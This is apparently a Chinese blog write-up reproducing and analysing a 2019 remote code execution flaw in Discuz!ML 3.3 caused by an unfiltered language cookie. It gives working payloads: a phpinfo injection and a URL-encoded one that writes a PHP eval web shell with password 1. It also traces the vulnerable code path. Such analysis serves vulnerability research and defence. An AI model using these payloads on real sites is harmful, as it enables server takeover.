s1. 背景

在7月11日Discuz多语言版曝出存在RCE漏洞,所以官方下载源码对漏洞进行复现和分析

下载地址:https://discuz.ml/download
本人下的是3.3版本,不得不吐槽一下,下载速度比较慢,所以我同时下载的,最先完成的是3.3按本,也就用了。

s2. 安装

本人环境:php5.6+Nginx(windows推荐使用phpstudy)

下载源码后,解压至安装目录后访问:127.0.0.1/discuz!ml3.3/upload,进入此目标将开始安装

因为本人已经安装好,就不在滚键盘了,直接下一步即可,最后写上本机的数据库连接密码,在设置管理员账号密码即可

ps:安装后无图片显示,莫慌,不影响使用

s3. 代码执行

  • 漏洞在于cookie的语言可控并且没有严格过滤,注入后导致可以远程代码执行

  • 访问127.0.0.1/discuz!ml3.3/upload/home.php,访问别的php文件也可以,cookie字段中会出现xxxx_xxxx_language字段,根本原因就是这个字段存在注入,导致的RCE

抓包找到cookie的language的值修改为xxxx_xxxx_language=sc'.phpinfo().',成功执行,这里的sc可以不带

  • 构造一句话,连接蚁剑

payload:%27.%2Bfile_put_contents%28%27shell.php%27%2Curldecode%28%27%253C%253Fphp%2520eval%2528%2524_POST%255B%25221%2522%255D%2529%253B%253F%253E%27%29%29.%27

实际为:'.+file_put_contents('shell.php',urldecode('')).'

可看到路径下生成shell.php,连接密码为1

  • 检测脚本:https://github.com/theLSA/discuz-ml-rce

借用此作者的脚本,写的非常全,方便检测和验证

s4. 分析

在discuz!ml3.3\upload\source\module\portal的portal_index.php里存在着包含

跟踪template

在discuz!ml3.3\upload\source\function的function_core.php文件中

他的返回值为DISCUZ_ROOT.cachefilecachefile,而cachefile在上面也有,可看出由各变量来进行组成的,其中的DISCUZ_LANG为可控制变量

discuz!ml3.3\upload\source\class\discuz下的discuz_application.php文件


↑ 可看出这里直接将值传入到lng变量,继续跟踪

↑ $lng直接赋给DISCUZ_LANG,所以DISCUZ_LANG常量为可控

因此payload通过修改cookie里的language字段内容传入,目前已经控制了文件名字,而Discuz会将我们写入的存入缓存,真正包含的是缓存文件

写入的缓存文件存在discuz!ml3.3\upload\data\template


↑ debug的时候写入的缓存文件


↑ checktplrefresh()函数中将cachefileparsetemplate(),cachefile传入parse_template(),然后拼接给headeradd,接着拼接给$template


↑ 最后将$template写入到缓存文件,也就是上面说的那个目录下

终于被include包含执行

  • 总结:languagelanguage可控,传给template,生成缓存文件后,又被include_once包含,造成RCE

s5. 修复

  • 至文章编辑日2019年7月16日并无官方补丁
  • 关注:https://bitbucket.org/vot/discuz.ml/commits/all等待补丁

PS:因博客重建,特意将本人文章从Tools转移回来,如有影响,可联系删帖

文章链接(来点个顶可好~):https://www.t00ls.net/thread-51968-1-1.html